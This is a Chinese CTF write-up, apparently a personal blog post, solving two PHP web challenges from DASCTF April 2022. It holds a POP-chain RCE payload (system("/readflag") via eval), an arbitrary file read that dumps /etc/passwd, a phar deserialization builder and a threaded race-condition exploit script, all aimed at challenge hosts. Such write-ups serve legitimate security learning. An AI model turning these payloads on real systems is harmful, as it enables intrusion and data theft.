DASCTF_APR_2022

本来恰完KFC晚餐准备回寝室打游戏来着,路上被队友喊去做WEB了
说是今天BUUOJ上的比赛,但是已经打完了,做两题玩玩
但是我上一次碰CTF还是去年的省赛…

warmup-php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){

$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}

new Action($action,$properties);
?>

参数action用于输入类名
参数properties用于输入对象的属性
完事后会执行$object->run()
函数run()ListView.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

abstract class ListView extends Base
{

public $tagName='div';
public $template;

public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}

public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}

protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}

run() -> renderContent() -> renderSection()
其中函数renderSection()为函数renderContent()中正则匹配替换的回调函数
用于匹配{\w+}的字符串,并将\w+拼接到"render"之后,再检验类中是否有这个函数,如果有则执行,没有则输出{\w+}

再看TestView.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}

if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];

if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}

public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<hr />".$n."<hr />";
echo "<tbody>\n";

if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

echo "</td></tr>\n";
}
echo "</tbody>\n";
}

renderTableBody() -> renderTableRow() -> evaluateExpression()
函数evaluateExpression()在Base.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function evaluateExpression($_expression_,$_data_=array())
{
echo $_expression_." ".var_dump($_data_)."<hr />";
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}

可以看到最终目的是调用函数中evaluateExpression()的函数eval()以造成RCE
那么可以构造出一个POP链

$template = "{TableBody}"
经过POP链run() -> renderContent() -> renderSection()
到达函数renderTableBody()
这里有count($data),然后进行迭代运行函数renderTableRow()
所以需要
$data = 1
到达函数renderTableRow()后,有两条路可以进入函数evaluateExpression()
这里我走的是第一条路,只需要把rowHtmlOptionsExpression设置为不为NULL即可
进入函数evaluateExpression()后就会直接eval($rowHtmlOptionsExpression)
所以放命令即可
$rowHtmlOptionsExpression = "system(\"/readflag\")"

回到开头的两个参数,代入上述参数即可获得flag

1
2
curl http://aa876c17-0ddb-43f7-978e-1ca06b58fe7e.node4.buuoj.cn:81/?action=TestView --data 'properties[template]={TableBody}&properties[data]=0&properties[rowHtmlOptionsExpression]=system("/readflag")' | grep flag
flag{e2fec3cf-a368-45da-9277-2f21aa384a78}

队友本来RCE成功了,hackerbar把phpinfo挡住了,以为没RCE出来…


soeasy_php

给的附件是个dockerfile,没啥用感觉

进来就是个上传点,但是我上传了个php后给我的上传路径后缀是png我就觉得不对了
F12查看源码可以看到还有个编辑头像功能
尝试将头像换为其他文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
curl http://45632cf4-8a41-4ab2-bf06-65db1ccc6307.node4.buuoj.cn:81/edit.php --data 'png=/etc/passwd&flag='
成功更换头像

curl http://45632cf4-8a41-4ab2-bf06-65db1ccc6307.node4.buuoj.cn:81/uploads/head.png
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

然后就读源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#edit.php
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}

function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}


if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}

if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}

一眼反序列化,但是半天没看见函数unserialize()
翻了翻笔记才想起来这玩意是phar反序列化
通过文件函数来触发反序列化
这里可以触发的有

  • fopen()
  • file_put_contents()
  • unlink()

首先参数png的正则绕不过去,后面两个函数filewrite()参数定死,函数unlink($head)参数定死
那就剩下最后一个函数unlink($filename)
而执行函数unlink($filename)需要函数symlink($filename, $head)寄掉
尝试给filename塞个数组进去,symlink确实寄了,但是unlink也寄了
想来想去还是只能竞争symlink了
只要我请求够快,就会有两个PHP线程在unlink($head)之后执行symlink($filename, $head)
但是symlink()不能创建同名链接,所以慢的那个会False,然后运行unlink($filename),即触发phar反序列化

即使触发了phar反序列化,flag内容被写入到了/tmp/flag.txt
要读取flag必定要symlink("/tmp/flag.txt", "uploads/head.png"),然后访问head.png
但在此之前,会执行filewrite("/tmp/flag.txt", "Don't give me flag");filewrite("/tmp/flag.txt", $flag);
也就是说/tmp/flag.txt会被覆写,所以需要再进行一次竞争

但是从总体流程上来讲,这两次竞争完全可以放一起,以达到以下竞争效果

1
2
3
4
5
6
覆写错误flag ->
symlink链接phar文件 ->
symlink竞争触发unlink(phar) ->
覆写正确flag ->
symlink链接/tmp/flag.txt ->
读取正确flag

这个思路看起来有点天方夜谭,但是还是能竞争出来的
(这题做出来的时候总感觉自己是非预期解法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
#php.ini: phar.readonly = Off
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}

$a = new flag();
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import threading

req = requests.session()

url1 = "http://270056b0-3eb6-4a8e-afc5-b70bdf3e8f4b.node4.buuoj.cn:81/uploads/head.png"
url2 = "http://270056b0-3eb6-4a8e-afc5-b70bdf3e8f4b.node4.buuoj.cn:81/edit.php"

def unlink():
req.post(url2, data={"png":"phar:///var/www/html/uploads/01908b979c3dea9fc658e68ab8c560e4.png", "flag":""})

def symlink():
req.post(url2, data={"png":"/tmp/flag.txt", "flag":""})

if __name__ == "__main__":
for _ in range(10):
t1 = threading.Thread(target=unlink, args=())
t2 = threading.Thread(target=symlink, args=())
t1.start()
t2.start()
while True:
#getflag
flag = req.get(url1).text
if "flag" in flag:
print(flag)
break
1
2
python exp.py
flag{eea59afa-414d-4045-8d7f-808abc804951}

两个题做了五个小时,只能明天打游戏了